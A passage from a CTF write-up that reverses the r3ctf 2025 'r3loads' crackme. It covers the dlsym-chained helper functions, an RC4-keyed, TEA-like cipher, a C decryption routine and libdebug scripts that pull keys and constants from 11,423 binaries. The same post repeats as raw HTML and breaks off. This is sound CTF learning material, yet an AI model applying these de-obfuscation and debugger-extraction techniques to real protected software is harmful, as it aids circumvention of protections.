RRRRRRRRRRRR3R33RRRR33333R3R3333.so RRRRRRRRRRRR3R33RRRRR33R3R333RRR.so RRRRRRRRRRRR3R33RRRRRRRRRRR3R3R3.so RRRRRRRRRRRR3R3R3333R3R33RRR33RR.so RRRRRRRRRRRR3R33RRRR33333R3R33R3.so RRRRRRRRRRRR3R33RRRRR33R3R33R33R.so RRRRRRRRRRRR3R3R3333333RRR33RRR3.so RRRRRRRRRRRR3R3R3333R3R33RRR3R3R.so RRRRRRRRRRRR3R33RRRR33333R3R3R33.so RRRRRRRRRRRR3R33RRRRR33R3R33R3RR.so RRRRRRRRRRRR3R3R3333333RRR3R3333.so RRRRRRRRRRRR3R3R3333R3R33RRR3RRR.so RRRRRRRRRRRR3R33RRRR33333R3R3RR3.so RRRRRRRRRRRR3R33RRRRRR333333R333.so RRRRRRRRRRRR3R3R3333333RRR3R33R3.so RRRRRRRRRRRR3R3R3333R3R33RRRR33R.so RRRRRRRRRRRR3R33RRRR3R3R3R3RR3R3.so RRRRRRRRRRRR3R33RRRRRR333333R3R3.so RRRRRRRRRRRR3R3R3333333RRR3R3R33.so RRRRRRRRRRRR3R3R3333RR3RR33RRRRR.so running it gives us:\nplayer@notarch:~/ctfs/r3/r3loads/game/300$ ./beatme Weclome to r3ctf 2025, can you beat me? 300/11423 Input something: aaaabbbb Try again! we will first starting by reversing a binary, then see what we can automate and script it.\nthe “rev” part: loading one executable in ida we get this (variable declarations removed for clarity), this main function can be separated into 3 parts:\nPart 1 of main: loading the functions the first thing it does is load 10 functions (which will be used later) from the dynamic libraries in the same directory, it uses dlopen to load the library and dlsym to get the function from it, i will show how i got what one function does:\nhandlee = dlopen(\u0026#34;./RRRRRRRRRRRRRRRRRRR33RRR33R3RRRR.so\u0026#34;, 1); if ( !handlee ) exit(1); dlerror(); qword_7048 = dlsym(handlee, \u0026#34;RRRRRRRRRRRRRRRRRRR33RRR33R3RRR3\u0026#34;); opening this function in binja we get the following:\nit loads another function from another library and calls it, while only operating on arg3.\nit seems that it keeps doing this a few times until it reaches the last function which defines the operation.\nthe path (in this case it only calls dlsym one time):\nwe can see in the end it returns arg1 - arg2, and also it does not use the third argument, this actually is the case for all the other functions, arg3 is never used, it is likely used as an obfuscation mechanism so we can ignore it.\nthe functions in order are (note that all arguments and returns are unsigned ints):\nxor_first_two =\u0026gt; arg1 ^ arg2 read_integer_at_offset =\u0026gt; ((unsigned int*)arg1)[arg2] add_at_arg1_arg2 =\u0026gt; *((unsigned int*)arg1) += arg2 and_arg1_arg2 =\u0026gt; arg1 \u0026amp; arg2 add_arg1_arg2 =\u0026gt; arg1 + arg2 subtract_arg1_arg2 =\u0026gt; arg1 - arg2 mult_arg1_arg2 =\u0026gt; arg1 * arg2 or_arg1_arg2 =\u0026gt; arg1 | arg2 integer_div_arg1_arg2 =\u0026gt; arg1 / arg2 bitwise_not =\u0026gt; ~arg1 after reversing all functions and renaming them we move to the second part.\nPart 2 of main: Setting the key it’s code after renaming the functions is accessible here, the first thing i noticed about this part is that it is all just operations on constants, it seems to be writing four unsigned ints in v91, we can extract it using gdb by setting a breakpoint just before the call to sub_1630, then inspecting the memory at rsi.\nPart 3 of main: Handling input puts(\u0026#34;Weclome to r3ctf 2025, can you beat me? 1/11423\u0026#34;); puts(\u0026#34;Input something: \u0026#34;); buf = 0LL; read(0, \u0026amp;buf, 8uLL); sub_1630((unsigned int *)\u0026amp;buf, v91); if ( buf == 0xF06203EC3D2C5B74LL ) puts(\u0026#34;You win!\u0026#34;); else puts(\u0026#34;Try again!\u0026#34;); this part read 8 bytes, then calls sub_1630 on it with v91 which is constant and likely used as a key to some encryption on buf.\nreversing the encryption function: the encrypt function decompilation is here, it seems very scary, but we will go at it bit by bit till we understand it.\nat first, it takes our 8 bytes input and splits it into two unsigned ints, first and second, then it sets S a State array (similar to rc4) using the key (this array is only read from), then it loops 0x478 times while doing some operations on first and second, in the end it writes them back to our input.\nnow before i started reversing this function, i noticed that there are four regions of code that only use constant values, i marked them on the code above, here is an example one:\nv162 = mult_arg1_arg2; v159 = and_arg1_arg2; v154 = add_arg1_arg2(3879220815LL, 1303544047LL, 1673289997LL); v148 = or_arg1_arg2(119385303LL, 3231329148LL, 141954786LL); v145 = bitwise_not; v137 = and_arg1_arg2(1503872738LL, 978965565LL, 1470160614LL); v125 = mult_arg1_arg2(761654413LL, 3043887596LL, 4085454309LL); v120 = mult_arg1_arg2; v131 = xor_first_two(3333670936LL, 2147831941LL, 2217132274LL); v115 = add_arg1_arg2(4141055499LL, 1038626365LL, 1517838417LL); v112 = xor_first_two; v109 = add_arg1_arg2(2686461105LL, 3867813406LL, 686930351LL); v106 = xor_first_two(3259940977LL, 1820144441LL, 2738368048LL); v103 = mult_arg1_arg2; v2 = bitwise_not(2920661428LL, 408102610LL, 758347707LL); v3 = xor_first_two(2688446990LL, 3924691225LL, 3780184521LL); v4 = or_arg1_arg2; v5 = xor_first_two(715168552LL, 4203380807LL, 4042894304LL); v6 = and_arg1_arg2(3362982059LL, 1951226027LL, 2091265364LL); v7 = mult_arg1_arg2(2447727191LL, 4231433857LL, 2356928693LL); v8 = v4(v7, v6, v5); v9 = v103(v8, v3, v2); v10 = v112(v9, v106, v109); v11 = v120(v10, v115, v131); v12 = v145(v11, v125, v137); LODWORD(v159) = v159(v12, v148, v154); v155 = mult_arg1_arg2; v149 = integer_div_arg1_arg2; v146 = and_arg1_arg2; v138 = add_arg1_arg2(3879220815LL, 1303544047LL, 1673289997LL); v126 = or_arg1_arg2(119385303LL, 3231329148LL, 141954786LL); v121 = bitwise_not; v132 = and_arg1_arg2(1503872738LL, 978965565LL, 1470160614LL); v116 = mult_arg1_arg2(761654413LL, 3043887596LL, 4085454309LL); v113 = mult_arg1_arg2; v110 = xor_first_two(3333670936LL, 2147831941LL, 2217132274LL); v107 = add_arg1_arg2(4141055499LL, 1038626365LL, 1517838417LL); v104 = xor_first_two; v102 = add_arg1_arg2(2686461105LL, 3867813406LL, 686930351LL); v101 = xor_first_two(3259940977LL, 1820144441LL, 2738368048LL); v100 = mult_arg1_arg2; v13 = bitwise_not(2920661428LL, 408102610LL, 758347707LL); v14 = xor_first_two(2688446990LL, 3924691225LL, 3780184521LL); v15 = or_arg1_arg2; v16 = xor_first_two(715168552LL, 4203380807LL, 4042894304LL); v17 = and_arg1_arg2(3362982059LL, 1951226027LL, 2091265364LL); v18 = mult_arg1_arg2(2447727191LL, 4231433857LL, 2356928693LL); v19 = v15(v18, v17, v16); v20 = v100(v19, v14, v13); v21 = v104(v20, v101, v102); v22 = v113(v21, v107, v110); v23 = v121(v22, v116, v132); v24 = v146(v23, v126, v138); v25 = v149(v24, 7LL, 1501804614LL); v26 = v155(v25, 7LL, 3199106012LL); v27 = pow(2LL, (unsigned int)((_DWORD)v159 - v26 + 1), 3474473344LL); it basically does some operations then calls pow(2, result) (third arg of pow is not used), then the rest of the logic uses it’s result for calculations, this pattern repeats four times inside the loop, we can replace those regions by their final results in the decompilation to simplify it.\nto get this four constants i used gdb with dprintf (setting the breakpoint at the final instruction before pow returns) to print the return value of pow.\ndprintf *0x162E+0x555555554000, \u0026#34;rax = 0x%02x\\n\u0026#34;, $rax we get these values\nrax = 0x08 rax = 0x08 rax = 0x20 rax = 0x10 rax = 0x08 rax = 0x08 rax = 0x20 rax = 0x10 and sure enough, these four values kept repeating, meaning my observation was right, now putting them inside the loop gives us the following:\ndo { v172 = v168 \u0026amp; 3LL; v27 = 0x8; // static 1 output v173 = second * v27 v47 = 0x8; // static 2 output v174 = second / v47; v175 = S[v172]; v175 = v175+v168; v176 = v173^v174; v176 = v176+second; v51 = ~v175; v29 = v51 \u0026amp; v176; v53 = ~v176; v54 = v53 \u0026amp; v175; v55 = v54 | v29; first += v55; v72 =0x20; // static 3 output v177 = first / v72; v88 = 0x10; // static 4 output v178 = first * v88; v91 = ~v177; v80 = v91 \u0026amp; v178; v93 = ~v178; v94 = v93 \u0026amp; v177; v179 = v94 | v80; v168 += 3284565212; v180 = v179 + first; v96 = v168 / 0x800LL; v181 = 255LL \u0026amp; v96; v182 = S[v181] v183 = v182 + v168; v98 = v180 ^ v183; second += v98; v185 += 1uLL; } while ( 0x478 \u0026gt;= v185 ); now as you can see, this is pretty good c decompilation, i can reverse it but i still used llm to turn it into a more simplified c version, so i can use it for scripting, the four static constants are used for multiplication and division, and since they are powers of 2, they are simplified to right and left shifts. it is also using v168 to index into the state array, which is incremented by a constant value 0x9D175C01 (note that the addition overflows, and the result will be cut to fit 32bits).\nuint64_t enc(uint32_t *input, uint32_t *key) { uint32_t S[256]; uint32_t first = input[0]; uint32_t second = input[1]; uint32_t v168 = 0; uint64_t v185 = 0; // Initialize S-box for (int i = 0; i \u0026lt;= 255; ++i) S[i] = i; // RC4-style key scheduling uint32_t v170 = 0, v171 = 0; for (int i = 0; i \u0026lt;= 255; ++i) { uint32_t v184 = S[i]; v170 = (v184 + v170 + key[v171]) \u0026amp; 0xFF; uint32_t tmp = S[i]; S[i] = S[v170]; S[v170] = tmp; if (++v171 \u0026gt; 3) v171 = 0; } do { uint32_t v172 = v168 \u0026amp; 3; // 7. we can get this after decrementig v168 by the constant uint32_t v175 = (S[v172] + v168); // 8. obviously we got this uint32_t v176 = ((second \u0026lt;\u0026lt; 3) ^ (second \u0026gt;\u0026gt; 3)) + second; // 9. this is using the second before encrypting it, which we decrypted in step 6 first += v175 ^ v176; // 10. this we can get since. // Second part operations uint32_t v179 = (first \u0026gt;\u0026gt; 5) ^ (first \u0026lt;\u0026lt; 4); // 5. v179 we have since it\u0026#39;s using the first after it is incremented (it\u0026#39;s using the encrypted first) v168 += 0x9D175C01U; // Constant increment uint32_t v180 = v179 + first; // 6. since we have this we can get the decrypted value of second (by subtracting the xor result) // Final operations uint32_t v181 = (v168 \u0026gt;\u0026gt; 11) \u0026amp; 0xFF; // 2. we have this value since we have v168 uint32_t v183 = S[v181] + v168; // 3. this too since we just calculated v181 second += v180 ^ v183; // 4. to get this we need v180 v185 += 1; } while (v185 \u0026lt;= 0x478); // 1. we start here, where we have first and second and the last value of v168 input[0] = first; input[1] = second; } now our task is to reverse this function, i have written my line of thought for reversing it\u0026rsquo;s operations as comments in the code above, follow steps 1 to 10.\nhere is the final decryption script:\nuint64_t dec(uint32_t first, uint32_t second, uint32_t *key, uint32_t* output) { uint32_t S[256]; uint32_t v168 = 0; uint64_t v185 = 0; // Initialize S-box for (int i = 0; i \u0026lt;= 255; ++i) S[i] = i; // RC4-style key scheduling uint32_t v170 = 0, v171 = 0; for (int i = 0; i \u0026lt;= 255; ++i) { uint32_t v184 = S[i]; v170 = (v184 + v170 + key[v171]) \u0026amp; 0xFF; uint32_t tmp = S[i]; S[i] = S[v170]; S[v170] = tmp; if (++v171 \u0026gt; 3) v171 = 0; } v168 = 0xa2c473fc; // this is the last value of v168 do { uint32_t v181 = (v168 \u0026gt;\u0026gt; 11) \u0026amp; 0xFF; uint32_t v183 = S[v181] + v168; uint32_t v179 = (first \u0026gt;\u0026gt; 5) ^ (first \u0026lt;\u0026lt; 4); uint32_t v180 = v179 + first; second -= v180 ^ v183; v168-=0x9D175C01; // we are going backwards now uint32_t v172 = v168 \u0026amp; 3; // this we have, just decrement v168 uint32_t v175 = (S[v172] + v168); // this too we have uint32_t v176 = ((second \u0026lt;\u0026lt; 3) ^ (second \u0026gt;\u0026gt; 3)) + second; // use the decrypted second value to get this value first -= v175 ^ v176; // xor this to get the decrypted first value v185+=1; } while (v185 \u0026lt;= 0x478); printf(\u0026#34;first = 0x%x , second = 0x%x\\n\u0026#34;, first, second); output[0] = first; output[1]=second; } using it on the cipher 0xF06203EC3D2C5B74 for the level1 with the key extracted using gdb we get\nit worked!!\nthe “auto” part: to start scripting decryption for the 11423 executables we first need to know what changes between them, opening the second executable and reversing it (just like in the “rev” part) i noticed that four things change:\nthe key (v91) the constant that increments v168 is different the four static values that are calculated inside the loop and used for shifting and obviously the cipher text to get the right input for any executable we have to extract these values, but first i updated my decrypt function so it uses dynamic keys, constant and shifts, you can check it here.\nto extract the values dynamicly i used libdebug, since it is waaaaay faster than gdb scripting (gdb scripting would have took hours).\nExtracting the key we start by extracting the key, to do that i set a breakpoint at read then return from read and go four instructions after it, to reach the call for the encrypt function\nafter that i read 4*sizeof(unsigned int) bytes of memory starting at rsi to get the key.\nfrom libdebug import debugger d = debugger(\u0026#34;./beatme\u0026#34;) pipe= d.run() pipe.send(b\u0026#39;a\u0026#39;*8) # send dummy data so it does not get stuck at read d.breakpoint(\u0026#39;read\u0026#39;) d.cont() # now we are the start of read d.finish() # return for the read function for _ in range(4): d.step() # now we are at \u0026#34;call encrypt\u0026#34; rsi = d.regs.rsi data = d.memory[rsi:rsi+0x10] key = [int.from_bytes(data[i:i+4], \u0026#39;little\u0026#39;) for i in range(0, 0x10, 4)] Extracting the cipher to extract the cipher from the binary, i noticed that the instructions that do the loading and comparision are always the same\nbytes 8b45a83d are the mov instruction and the first byte of cmp instruction, i use these to find their offset in the binary then add 4 and read a dword.\nwith open(f\u0026#34;./beatme\u0026#34;, \u0026#39;rb\u0026#39;) as f: filedata = f.read() a = filedata.find(b\u0026#39;\\x8b\\x45\\xa8\\x3d\u0026#39;)+4 # mov eax,DWORD PTR [rbp-0x58] ; cmp b = filedata.find(b\u0026#39;\\x8b\\x45\\xac\\x3d\u0026#39;)+4 # mov eax,DWORD PTR [rbp-0x54] ; cmp cipher = int.from_bytes(filedata[a:a+4], \u0026#39;little\u0026#39;) | (int.from_bytes(filedata[b:b+4], \u0026#39;little\u0026#39;) \u0026lt;\u0026lt; 32) Extracting the shift values now we need to extract the shift values, to do that i decided to set a breakpoint at the end of the pow function and print the value at rax (return value).\nbreakpoint is set at 0x162f.\ni knew by observation the the pow function was the same in all executables, and since we can’t hard code the address of pow cause it changes, i decided to search for the offset of pow by it’s first bytes, and we add the size of it, to reach it’s last instruction.\npowstart = b\u0026#39;\\xf3\\x0f\\x1e\\xfaUH\\x89\\xe5\\x89}\\xec\\x89u\\xe8\\x89U\\xe4\\x83}\\xe8\\x00\u0026#39; addr = filedata.find(powstart)+0x3e # addr points to ret instruction of pow now we use this to set a breakpoint and print the values at eax\n# after the code that extracts the key d.breakpoint(addr, file=\u0026#39;binary\u0026#39;) shifts = [] for _ in range(4): d.cont() shifts.append(math.log2(d.regs.rax)) # we use math.log2 since divising by 0x8 # is the same as shifting to right by 3 (log2(8) == 3) Extracting the constant that increments v168 now to get the v168 increment constant c, we know from ida that v168 is stored at rbp-0x494, now each loop calls pow 4 times, so in the fifth call of pow (which we are setting a breapoint at), we would be in the second loop, v168 would be incremented one time, it would be equal to the increment constant, so we just get the value at v168.\n# after the shifts extraction d.cont() rbp = d.regs.rbp c = int.from_bytes(d.memory[rbp-0x494:rbp-0x494+4], \u0026#39;little\u0026#39;) and that’s it!\nafter this we store all the extracted values in files. and we use them in the decryption in c, i did this because my decryption was in c.\nhere are the final extract.py and decrypt.c scripts.\nafter running them we get this jpg\n","content_html":"\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epoints: 929 pts\nsolves: 11 solves\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ethis weekend i played r3ctf, i solved this challenge with @aymenmog, i really enjoyed doing this autorev, so i decided to make this writeup.\u003c/p\u003e\n\u003ch2 id=\"initial-analysis\"\u003eInitial analysis\u003c/h2\u003e\n\u003cp\u003ethis is an autorev chall, we are given 11423 executables each one is in it’s directory along with a set of shared libraries, the readme says that each binary takes 8 bytes input and final output of the chall will be a jpg which is the concatenation of 11423 right inputs.\u003c/p\u003e\n\u003cp\u003eeach part is like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplayer@notarch:~/ctfs/r3/r3loads/game/300$ ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebeatme                               RRRRRRRRRRRR3R33RRRR3R3R3R3RRR33.so  RRRRRRRRRRRR3R33RRRRRRRRRRR33333.so  RRRRRRRRRRRR3R3R33333RR3R33333RR.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRR3R3RRRR333RRR.so  RRRRRRRRRRRR3R33RRRR3R3R3R3RRRR3.so  RRRRRRRRRRRR3R33RRRRRRRRRRR333R3.so  RRRRRRRRRRRR3R3R33333RR3R3333R3R.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRR3R3RRRR33R33R.so  RRRRRRRRRRRR3R33RRRRR33R3R33333R.so  RRRRRRRRRRRR3R33RRRRRRRRRRR33R33.so  RRRRRRRRRRRR3R3R33333RR3R3333RRR.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRR3R3RRRR33R3RR.so  RRRRRRRRRRRR3R33RRRRR33R3R3333RR.so  RRRRRRRRRRRR3R33RRRRRRRRRRR33RR3.so  RRRRRRRRRRRR3R3R33333RR3R333R33R.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR33333R33RRR3.so  RRRRRRRRRRRR3R33RRRRR33R3R333R3R.so  RRRRRRRRRRRR3R33RRRRRRRRRRR3R333.so  RRRRRRRRRRRR3R3R3333R3R33RRR333R.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR33333R3R3333.so  RRRRRRRRRRRR3R33RRRRR33R3R333RRR.so  RRRRRRRRRRRR3R33RRRRRRRRRRR3R3R3.so  RRRRRRRRRRRR3R3R3333R3R33RRR33RR.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR33333R3R33R3.so  RRRRRRRRRRRR3R33RRRRR33R3R33R33R.so  RRRRRRRRRRRR3R3R3333333RRR33RRR3.so  RRRRRRRRRRRR3R3R3333R3R33RRR3R3R.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR33333R3R3R33.so  RRRRRRRRRRRR3R33RRRRR33R3R33R3RR.so  RRRRRRRRRRRR3R3R3333333RRR3R3333.so  RRRRRRRRRRRR3R3R3333R3R33RRR3RRR.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR33333R3R3RR3.so  RRRRRRRRRRRR3R33RRRRRR333333R333.so  RRRRRRRRRRRR3R3R3333333RRR3R33R3.so  RRRRRRRRRRRR3R3R3333R3R33RRRR33R.so\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRRRRRRRRRRR3R33RRRR3R3R3R3RR3R3.so  RRRRRRRRRRRR3R33RRRRRR333333R3R3.so  RRRRRRRRRRRR3R3R3333333RRR3R3R33.so  RRRRRRRRRRRR3R3R3333RR3RR33RRRRR.so \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003erunning it gives us:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplayer@notarch:~/ctfs/r3/r3loads/game/300$ ./beatme\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWeclome to r3ctf 2025, can you beat me? 300/11423\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInput something: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaaaabbbb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTry again!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe will first starting by reversing a binary, then see what we can automate and script it.\u003c/p\u003e\n\u003ch2 id=\"the-rev-part\"\u003ethe “rev” part:\u003c/h2\u003e\n\u003cp\u003eloading one executable in ida we get \u003ca href=\"/r3ctf-r3loads/main-decomp.c\"\u003ethis\u003c/a\u003e (variable declarations removed for clarity), this main function can be separated into 3 parts:\u003c/p\u003e\n\u003ch4 id=\"part-1-of-main-loading-the-functions\"\u003ePart 1 of main: loading the functions\u003c/h4\u003e\n\u003cp\u003ethe first thing it does is load 10 functions (which will be used later)  from the dynamic libraries in the same directory, it uses dlopen to load the library and dlsym to get the function from it, i will show how i got what one function does:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ehandlee\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003edlopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;./RRRRRRRRRRRRRRRRRRR33RRR33R3RRRR.so\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehandlee\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003edlerror\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eqword_7048\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003edlsym\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehandlee\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#34;RRRRRRRRRRRRRRRRRRR33RRR33R3RRR3\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eopening this function in binja we get the following:\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_18-50-52.png\"\n  alt=\"Screenshot from 2025-07-07 18-50-52.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eit loads another function from another library and calls it, while only operating on arg3.\u003c/p\u003e\n\u003cp\u003eit seems that it keeps doing this a few times until it reaches the last function which defines the operation.\u003c/p\u003e\n\u003cp\u003ethe path (in this case it only calls dlsym one time):\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_18-52-16.png\"\n  alt=\"Screenshot from 2025-07-07 18-52-16.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003ewe can see in the end it returns arg1 - arg2, and also it does not use the third argument, this actually is the case for all the other functions, arg3 is never used, it is likely used as an obfuscation mechanism so we can ignore it.\u003c/p\u003e\n\u003cp\u003ethe functions in order are (note that all arguments and returns are unsigned ints):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003exor_first_two\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eread_integer_at_offset\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eadd_at_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eand_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eadd_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esubtract_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eor_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e 